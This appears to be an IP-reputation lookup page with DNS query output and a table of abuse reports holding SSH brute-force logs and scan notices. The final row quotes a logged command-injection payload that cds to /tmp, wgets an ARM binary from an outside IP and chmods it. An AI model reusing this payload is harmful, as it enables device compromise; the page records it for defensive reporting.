City: Caserta
Region: Campania
Country: Italy
Internet Service Provider: Fastweb
Hostname: unknown
Organization: Fastweb
Usage Type: unknown
b
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 93.48.70.3
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 33878
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;93.48.70.3. IN A
;; AUTHORITY SECTION:
. 3600 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2019052000 1800 900 604800 86400
;; Query time: 2 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Mon May 20 19:05:11 CST 2019
;; MSG SIZE rcvd: 114
Host 3.70.48.93.in-addr.arpa. not found: 3(NXDOMAIN)
Server: 67.207.67.2
Address: 67.207.67.2#53
** server can't find 3.70.48.93.in-addr.arpa: NXDOMAIN
| IP | Type | Details | Datetime |
|---|---|---|---|
| 144.172.73.43 | attackspambots | Jun 12 13:09:58 ucs sshd\[27622\]: Invalid user honey from 144.172.73.43 port 51676 Jun 12 13:09:58 ucs sshd\[27624\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.172.73.43 Jun 12 13:10:01 ucs sshd\[27622\]: error: PAM: User not known to the underlying authentication module for illegal user honey from 144.172.73.43 Jun 12 13:10:01 ucs sshd\[27622\]: Failed keyboard-interactive/pam for invalid user honey from 144.172.73.43 port 51676 ssh2 ... |
2020-06-12 19:10:11 |
| 82.102.20.184 | attackbots | 0,31-03/29 [bc02/m22] PostRequest-Spammer scoring: maputo01_x2b |
2020-06-12 19:28:06 |
| 91.121.104.181 | attackbots | 2020-06-12T09:34:38.279079shield sshd\[19972\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=91.121.104.181 user=root 2020-06-12T09:34:40.563917shield sshd\[19972\]: Failed password for root from 91.121.104.181 port 46908 ssh2 2020-06-12T09:37:45.317261shield sshd\[20952\]: Invalid user osb from 91.121.104.181 port 56344 2020-06-12T09:37:45.321834shield sshd\[20952\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=91.121.104.181 2020-06-12T09:37:48.278977shield sshd\[20952\]: Failed password for invalid user osb from 91.121.104.181 port 56344 ssh2 |
2020-06-12 19:07:30 |
| 106.13.66.103 | attackbots | Jun 12 01:20:19 php1 sshd\[10798\]: Invalid user idcisp from 106.13.66.103 Jun 12 01:20:19 php1 sshd\[10798\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.66.103 Jun 12 01:20:21 php1 sshd\[10798\]: Failed password for invalid user idcisp from 106.13.66.103 port 41836 ssh2 Jun 12 01:24:31 php1 sshd\[11133\]: Invalid user admin from 106.13.66.103 Jun 12 01:24:31 php1 sshd\[11133\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.66.103 |
2020-06-12 19:26:41 |
| 42.115.33.69 | attackbotsspam | Port scan: Attack repeated for 24 hours |
2020-06-12 18:55:41 |
| 120.157.111.176 | attack | [H1] Blocked by UFW |
2020-06-12 19:32:56 |
| 51.77.140.110 | attackspambots | CMS (WordPress or Joomla) login attempt. |
2020-06-12 19:35:30 |
| 107.170.20.247 | attackbotsspam | Jun 12 12:48:48 ift sshd\[60756\]: Failed password for root from 107.170.20.247 port 45596 ssh2Jun 12 12:52:40 ift sshd\[61280\]: Invalid user aaa from 107.170.20.247Jun 12 12:52:42 ift sshd\[61280\]: Failed password for invalid user aaa from 107.170.20.247 port 46445 ssh2Jun 12 12:56:42 ift sshd\[61952\]: Invalid user dl_group5 from 107.170.20.247Jun 12 12:56:44 ift sshd\[61952\]: Failed password for invalid user dl_group5 from 107.170.20.247 port 47292 ssh2 ... |
2020-06-12 19:10:24 |
| 129.211.51.65 | attackspambots | Jun 11 20:47:29 mockhub sshd[28655]: Failed password for root from 129.211.51.65 port 16309 ssh2 ... |
2020-06-12 19:35:48 |
| 160.20.166.59 | attackbotsspam | " " |
2020-06-12 19:32:29 |
| 165.227.140.245 | attack | Jun 12 05:10:38 localhost sshd\[1633\]: Invalid user helpdesk from 165.227.140.245 port 37548 Jun 12 05:10:38 localhost sshd\[1633\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=165.227.140.245 Jun 12 05:10:40 localhost sshd\[1633\]: Failed password for invalid user helpdesk from 165.227.140.245 port 37548 ssh2 ... |
2020-06-12 19:28:29 |
| 51.158.162.242 | attackbots | Jun 12 13:02:25 PorscheCustomer sshd[10800]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.158.162.242 Jun 12 13:02:27 PorscheCustomer sshd[10800]: Failed password for invalid user admin from 51.158.162.242 port 36572 ssh2 Jun 12 13:06:19 PorscheCustomer sshd[10953]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.158.162.242 ... |
2020-06-12 19:14:31 |
| 222.85.224.85 | attackbotsspam | Brute force attempt |
2020-06-12 19:37:11 |
| 130.61.118.231 | attackbots | Jun 12 10:52:09 jumpserver sshd[57916]: Invalid user mysql from 130.61.118.231 port 58952 Jun 12 10:52:12 jumpserver sshd[57916]: Failed password for invalid user mysql from 130.61.118.231 port 58952 ssh2 Jun 12 10:55:18 jumpserver sshd[57950]: Invalid user bt from 130.61.118.231 port 33356 ... |
2020-06-12 19:34:43 |
| 62.234.97.72 | attack | "Remote Command Execution: Unix Command Injection - Matched Data: ;chmod found within ARGS:remote_host: ;cd /tmp;wget h://37.49.224.183/0xxx0xxxasdajshdsajhkgdja/Sa0aS.arm7;chmod 777 Sa0" |
2020-06-12 19:02:16 |